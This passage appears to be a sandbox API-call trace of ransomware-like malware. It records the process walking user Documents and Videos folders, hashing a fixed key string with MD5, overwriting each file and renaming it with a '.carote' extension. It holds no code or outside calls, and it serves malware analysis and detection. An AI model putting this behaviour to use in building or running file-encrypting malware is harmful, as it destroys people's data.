lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x18e38, lpOverlapped=0x0) returned 1 [0113.833] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.833] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0113.833] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.833] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.833] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ec028) returned 1 [0113.834] CryptCreateHash (in: hProv=0x50ec028, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0113.834] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.834] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0113.834] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0113.834] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0113.834] GetLastError () returned 0x0 [0113.834] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0113.834] CryptReleaseContext (hProv=0x50ec028, dwFlags=0x0) returned 1 [0113.834] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0113.834] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x18e40) returned 0x7b1c730 [0113.835] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.835] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.835] WriteFile (in: hFile=0x61c, lpBuffer=0x7b1c730*, nNumberOfBytesToWrite=0x18e33, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b1c730*, lpNumberOfBytesWritten=0x825fb24*=0x18e33, lpOverlapped=0x0) returned 1 [0113.835] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b1c730 | out: hHeap=0x5010000) returned 1 [0113.835] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x18e38, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.835] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0113.835] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b182e0 [0113.835] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b182e0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0113.835] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b14908 [0113.835] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0113.836] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0113.836] WriteFile (in: hFile=0x61c, lpBuffer=0x7b14908*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b14908*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.836] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14908 | out: hHeap=0x5010000) returned 1 [0113.836] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.836] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.836] CloseHandle (hObject=0x61c) returned 1 [0113.837] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a222d0 [0113.837] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8f0) returned 0x7b14908 [0113.837] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a222d0 | out: hHeap=0x5010000) returned 1 [0113.837] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BXteOBXIuKySqXgo0\\yc2hVUR2 YKnU\\WTT 8oXmb8q1blmN0eH\\tegF3gXtk.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bxteobxiukysqxgo0\\yc2hvur2 yknu\\wtt 8oxmb8q1blmn0eh\\tegf3gxtk.odt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BXteOBXIuKySqXgo0\\yc2hVUR2 YKnU\\WTT 8oXmb8q1blmN0eH\\tegF3gXtk.odt.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bxteobxiukysqxgo0\\yc2hvur2 yknu\\wtt 8oxmb8q1blmn0eh\\tegf3gxtk.odt.carote")) returned 1 [0113.838] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14908 | out: hHeap=0x5010000) returned 1 [0113.838] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.839] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79f8730 | out: hHeap=0x5010000) returned 1 [0113.839] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7793a060, ftCreationTime.dwHighDateTime=0x1d4d476, ftLastAccessTime.dwLowDateTime=0x266b7160, ftLastAccessTime.dwHighDateTime=0x1d4d000, ftLastWriteTime.dwLowDateTime=0x266b7160, ftLastWriteTime.dwHighDateTime=0x1d4d000, nFileSizeHigh=0x0, nFileSizeLow=0xa62a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="z1QP6pPCfuXmpQNcWehe.odp", cAlternateFileName="Z1QP6P~1.ODP")) returned 1 [0113.839] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0113.839] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11e) returned 0x79f8730 [0113.839] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0113.839] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BXteOBXIuKySqXgo0\\yc2hVUR2 YKnU\\WTT 8oXmb8q1blmN0eH\\z1QP6pPCfuXmpQNcWehe.odp") returned=".odp" [0113.839] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BXteOBXIuKySqXgo0\\yc2hVUR2 YKnU\\WTT 8oXmb8q1blmN0eH\\z1QP6pPCfuXmpQNcWehe.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bxteobxiukysqxgo0\\yc2hvur2 yknu\\wtt 8oxmb8q1blmn0eh\\z1qp6ppcfuxmpqncwehe.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0113.839] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=42538) returned 1 [0113.839] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0113.841] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xa604, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.841] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.843] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0113.843] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.843] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.843] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0xa62a, lpOverlapped=0x0) returned 1 [0113.844] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.844] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0113.844] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.844] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.844] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ec028) returned 1 [0113.845] CryptCreateHash (in: hProv=0x50ec028, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0113.845] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.845] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0113.845] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0113.845] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0113.845] GetLastError () returned 0x0 [0113.845] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0113.845] CryptReleaseContext (hProv=0x50ec028, dwFlags=0x0) returned 1 [0113.845] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0113.845] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa630) returned 0x7b1c730 [0113.845] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.845] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.845] WriteFile (in: hFile=0x61c, lpBuffer=0x7b1c730*, nNumberOfBytesToWrite=0xa625, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b1c730*, lpNumberOfBytesWritten=0x825fb24*=0xa625, lpOverlapped=0x0) returned 1 [0113.846] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b1c730 | out: hHeap=0x5010000) returned 1 [0113.846] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xa62a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.846] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0113.846] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b182e0 [0113.846] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b182e0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0113.846] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b14908 [0113.846] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0113.846] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0113.846] WriteFile (in: hFile=0x61c, lpBuffer=0x7b14908*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b14908*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.846] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14908 | out: hHeap=0x5010000) returned 1 [0113.846] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.846] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.846] CloseHandle (hObject=0x61c) returned 1 [0113.847] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xf0) returned 0x7a5d770 [0113.847] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x900) returned 0x7b14908 [0113.847] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a5d770 | out: hHeap=0x5010000) returned 1 [0113.847] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BXteOBXIuKySqXgo0\\yc2hVUR2 YKnU\\WTT 8oXmb8q1blmN0eH\\z1QP6pPCfuXmpQNcWehe.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bxteobxiukysqxgo0\\yc2hvur2 yknu\\wtt 8oxmb8q1blmn0eh\\z1qp6ppcfuxmpqncwehe.odp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BXteOBXIuKySqXgo0\\yc2hVUR2 YKnU\\WTT 8oXmb8q1blmN0eH\\z1QP6pPCfuXmpQNcWehe.odp.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bxteobxiukysqxgo0\\yc2hvur2 yknu\\wtt 8oxmb8q1blmn0eh\\z1qp6ppcfuxmpqncwehe.odp.carote")) returned 1 [0113.848] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14908 | out: hHeap=0x5010000) returned 1 [0113.848] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.848] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79f8730 | out: hHeap=0x5010000) returned 1 [0113.849] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7793a060, ftCreationTime.dwHighDateTime=0x1d4d476, ftLastAccessTime.dwLowDateTime=0x266b7160, ftLastAccessTime.dwHighDateTime=0x1d4d000, ftLastWriteTime.dwLowDateTime=0x266b7160, ftLastWriteTime.dwHighDateTime=0x1d4d000, nFileSizeHigh=0x0, nFileSizeLow=0xa62a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="z1QP6pPCfuXmpQNcWehe.odp", cAlternateFileName="Z1QP6P~1.ODP")) returned 0 [0113.849] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0113.849] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05da0 | out: hHeap=0x5010000) returned 1 [0113.849] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20b28 | out: hHeap=0x5010000) returned 1 [0113.849] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0113.849] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109998 [0113.849] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0113.849] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109848 [0113.849] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.849] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.849] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109848 | out: hHeap=0x5010000) returned 1 [0113.849] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109848 [0113.849] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.849] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.849] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109848 | out: hHeap=0x5010000) returned 1 [0113.849] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109848 [0113.849] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.849] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.849] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109848 | out: hHeap=0x5010000) returned 1 [0113.849] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109848 [0113.849] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DflAw\\5unaIP8QoXZY\\") returned="5unaIP8QoXZY\\" [0113.849] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DflAw\\") returned="DflAw\\" [0113.849] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\") returned="UYaZ4DG0b_NROc5iB6tm\\" [0113.850] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0113.850] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0113.850] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0113.850] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.850] PathFindFileNameW (pszPath="") returned="" [0113.850] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DflAw\\5unaIP8QoXZY\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe22a7740, ftCreationTime.dwHighDateTime=0x1d4d21f, ftLastAccessTime.dwLowDateTime=0xdf4be380, ftLastAccessTime.dwHighDateTime=0x1d4c97b, ftLastWriteTime.dwLowDateTime=0xdf4be380, ftLastWriteTime.dwHighDateTime=0x1d4c97b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0113.852] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe22a7740, ftCreationTime.dwHighDateTime=0x1d4d21f, ftLastAccessTime.dwLowDateTime=0xdf4be380, ftLastAccessTime.dwHighDateTime=0x1d4c97b, ftLastWriteTime.dwLowDateTime=0xdf4be380, ftLastWriteTime.dwHighDateTime=0x1d4c97b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.852] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2241940, ftCreationTime.dwHighDateTime=0x1d4ca58, ftLastAccessTime.dwLowDateTime=0x961f5d50, ftLastAccessTime.dwHighDateTime=0x1d4cc68, ftLastWriteTime.dwLowDateTime=0x961f5d50, ftLastWriteTime.dwHighDateTime=0x1d4cc68, nFileSizeHigh=0x0, nFileSizeLow=0xeeb5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="2v5KLJcDwYWFxYopglE.avi", cAlternateFileName="2V5KLJ~1.AVI")) returned 1 [0113.852] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DflAw\\5unaIP8QoXZY\\2v5KLJcDwYWFxYopglE.avi") returned=".avi" [0113.852] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DflAw\\5unaIP8QoXZY\\2v5KLJcDwYWFxYopglE.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\uyaz4dg0b_nroc5ib6tm\\dflaw\\5unaip8qoxzy\\2v5kljcdwywfxyopgle.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0113.852] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=61109) returned 1 [0113.852] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0113.854] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xee8f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.854] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.855] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0xeeb5, lpOverlapped=0x0) returned 1 [0113.856] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.856] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.856] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.856] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ec028) returned 1 [0113.857] CryptCreateHash (in: hProv=0x50ec028, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0113.857] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.857] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0113.857] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0113.857] GetLastError () returned 0x0 [0113.857] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0113.857] CryptReleaseContext (hProv=0x50ec028, dwFlags=0x0) returned 1 [0113.858] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xeeb5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.858] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.858] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.858] CloseHandle (hObject=0x61c) returned 1 [0113.859] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DflAw\\5unaIP8QoXZY\\2v5KLJcDwYWFxYopglE.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\uyaz4dg0b_nroc5ib6tm\\dflaw\\5unaip8qoxzy\\2v5kljcdwywfxyopgle.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DflAw\\5unaIP8QoXZY\\2v5KLJcDwYWFxYopglE.avi.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\uyaz4dg0b_nroc5ib6tm\\dflaw\\5unaip8qoxzy\\2v5kljcdwywfxyopgle.avi.carote")) returned 1 [0113.860] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ac6d270, ftCreationTime.dwHighDateTime=0x1d4c9b5, ftLastAccessTime.dwLowDateTime=0xc9b6f010, ftLastAccessTime.dwHighDateTime=0x1d4d43d, ftLastWriteTime.dwLowDateTime=0xc9b6f010, ftLastWriteTime.dwHighDateTime=0x1d4d43d, nFileSizeHigh=0x0, nFileSizeLow=0xc9c1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="cbC165GWDZo.mp4", cAlternateFileName="CBC165~1.MP4")) returned 1 [0113.860] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DflAw\\5unaIP8QoXZY\\cbC165GWDZo.mp4") returned=".mp4" [0113.860] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DflAw\\5unaIP8QoXZY\\cbC165GWDZo.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\uyaz4dg0b_nroc5ib6tm\\dflaw\\5unaip8qoxzy\\cbc165gwdzo.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0113.861] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=51649) returned 1 [0113.861] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0113.863] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xc99b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.863] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.864] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0xc9c1, lpOverlapped=0x0) returned 1 